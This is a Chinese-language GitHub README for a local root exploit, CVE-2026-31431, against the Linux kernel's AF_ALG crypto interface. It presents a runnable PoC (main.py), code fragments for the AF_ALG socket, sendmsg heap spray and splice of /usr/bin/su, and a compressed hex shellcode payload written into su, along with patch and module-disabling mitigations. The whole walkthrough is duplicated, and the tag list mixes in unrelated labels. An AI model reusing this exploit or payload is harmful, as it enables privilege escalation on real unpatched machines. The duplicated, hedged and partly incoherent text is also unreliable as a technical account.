JuanBindez/CVE-2026-31431
GitHub: JuanBindez/CVE-2026-31431
针对 Linux 内核 AF_ALG 加密子系统的本地提权漏洞 PoC,利用 splice 与 sendmsg 配合实现 root 权限获取。
Stars: 3 | Forks: 0
# CVE-2026-31431
## Copy Fail - CVE-2026-31431 详情
https://nvd.nist.gov/vuln/detail/CVE-2026-31431
https://copy.fail/#exploit
https://xint.io/blog/copy-fail-linux-distributions
## 测试的发行版 / 版本
| 发行版 | 版本 |
|-------------------|-------------------------|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
## 漏洞利用运行
```
main.py
```
## 命令 ID
```
id
```
## 如果出现类似信息,意味着您现在已获得 root 权限。
## 修复只需几分钟。
### 选项 1:更新您的内核(推荐)
```
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update
```
#### 然后重启您的服务器。
### 选项 2:禁用受影响的模块(临时修复)
#### 如果现在无法更新,请禁用存在漏洞的模块以降低风险:
```
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
```
#### 这不会影响 SSH、TLS、LUKS 或 OpenSSL。
## 攻击技术:类 CVE(Crypto API + splice)
### 这似乎是利用了 Linux 内核 AF_ALG crypto 子系统中的漏洞,结合对 splice()/sendmsg() 的错误使用,从而:
* 泄露内核指针
* 破坏进程 task_struct
* 将 UID 提升至 0 (root)
### 1. AF_ALG Socket 使用 (38)
```
a = s.socket(38, 5, 0) # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
```
* 在内核中创建加密 socket
* 配置 AES-CBC + HMAC-SHA256 密码
* 真实目的:与内部内核 API 交互
### 2. 晦涩的 setsockopt (h=279)
```
v(h, 1, d('0800010000000010'+'0'*64)) # option 1
v(h, 5, None, 4) # option 5 (NULL payload)
```
* 279 = ALG_SET_KEY(设置加密密钥)
* 利用 ALG 子系统的未记录选项
* 密钥 '0800010000000010' + 零填充 — 可能是漏洞触发器
## 3. 主要攻击技术
```
u.sendmsg([b"A"*4+c], [
(h, 3, i*4), # cmsg level 3 (ALG_OP?)
(h, 2, b'\x10'+i*19), # cmsg level 2
(h, 4, b'\x08'+i*3) # cmsg level 4
], 32768)
```
* 带有附属数据(控制消息)的 sendmsg
* 'i'(计数器)在每次迭代中创建不同的大小
* 目标:堆喷射和内核内存破坏
## 4. 管道间的 splice()
```
r, w = g.pipe() # create anonymous pipe
g.splice(f, w, o, offset_src=0) # copy from file to pipe
g.splice(r, u.fileno(), o) # copy from pipe to socket
```
### 以下之间的零拷贝数据传输:
```
/usr/bin/su (file) → pipe → crypto socket
```
### splice 避免了用户态→内核态拷贝 → 完全的内核空间操作
## 5. 解压后的 Payload
## 十六进制数据:
```
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3
```
### 以 78da 开头 → zlib 头
### 解压后的内容可能包括:
```
Shellcode (machine code)
x86_64 privilege escalation instructions
```
## 6. 将 Payload 写入 su
```
while i < len(e):
c(f, i, e[i:i+4]) # writes 4 bytes of shellcode into su
```
### 在内存中破坏 /usr/bin/su(而非磁盘上)
### Shellcode 在执行时被注入到 su 进程中
# 7. 最终执行
```
g.system("su")
```
### 执行 su(切换用户)——此时已带有被破坏的 payload
### 被修改的 su 无需密码即可返回 root
## 修复只需几分钟。
### 选项 1:更新您的内核(推荐)
```
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update
```
#### 然后重启您的服务器。
### 选项 2:禁用受影响的模块(临时修复)
#### 如果现在无法更新,请禁用存在漏洞的模块以降低风险:
```
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
```
#### 这不会影响 SSH、TLS、LUKS 或 OpenSSL。
## 攻击技术:类 CVE(Crypto API + splice)
### 这似乎是利用了 Linux 内核 AF_ALG crypto 子系统中的漏洞,结合对 splice()/sendmsg() 的错误使用,从而:
* 泄露内核指针
* 破坏进程 task_struct
* 将 UID 提升至 0 (root)
### 1. AF_ALG Socket 使用 (38)
```
a = s.socket(38, 5, 0) # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
```
* 在内核中创建加密 socket
* 配置 AES-CBC + HMAC-SHA256 密码
* 真实目的:与内部内核 API 交互
### 2. 晦涩的 setsockopt (h=279)
```
v(h, 1, d('0800010000000010'+'0'*64)) # option 1
v(h, 5, None, 4) # option 5 (NULL payload)
```
* 279 = ALG_SET_KEY(设置加密密钥)
* 利用 ALG 子系统的未记录选项
* 密钥 '0800010000000010' + 零填充 — 可能是漏洞触发器
## 3. 主要攻击技术
```
u.sendmsg([b"A"*4+c], [
(h, 3, i*4), # cmsg level 3 (ALG_OP?)
(h, 2, b'\x10'+i*19), # cmsg level 2
(h, 4, b'\x08'+i*3) # cmsg level 4
], 32768)
```
* 带有附属数据(控制消息)的 sendmsg
* 'i'(计数器)在每次迭代中创建不同的大小
* 目标:堆喷射和内核内存破坏
## 4. 管道间的 splice()
```
r, w = g.pipe() # create anonymous pipe
g.splice(f, w, o, offset_src=0) # copy from file to pipe
g.splice(r, u.fileno(), o) # copy from pipe to socket
```
### 以下之间的零拷贝数据传输:
```
/usr/bin/su (file) → pipe → crypto socket
```
### splice 避免了用户态→内核态拷贝 → 完全的内核空间操作
## 5. 解压后的 Payload
## 十六进制数据:
```
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3
```
### 以 78da 开头 → zlib 头
### 解压后的内容可能包括:
```
Shellcode (machine code)
x86_64 privilege escalation instructions
```
## 6. 将 Payload 写入 su
```
while i < len(e):
c(f, i, e[i:i+4]) # writes 4 bytes of shellcode into su
```
### 在内存中破坏 /usr/bin/su(而非磁盘上)
### Shellcode 在执行时被注入到 su 进程中
# 7. 最终执行
```
g.system("su")
```
### 执行 su(切换用户)——此时已带有被破坏的 payload
### 被修改的 su 无需密码即可返回 root标签:0day挖掘, AF_ALG, algif_aead, Amazon Linux, Copy Fail, Crypto API, CVE-2026-31431, Exploit, Go语言工具, Kernel Exploitation, Linux内核漏洞, PoC, Python, RHEL, Root访问, sendmsg, splice, SUSE, task_struct, UID 0, Web报告查看器, Zero-day, 内存破坏, 内核安全, 内核指针泄露, 协议分析, 安全渗透, 数据展示, 无后门, 暴力破解, 本地提权, 权限提升, 漏洞分析, 漏洞复现, 私有化部署, 系统漏洞, 红队, 网络安全, 路径探测, 逆向工具, 防御规避, 隐私保护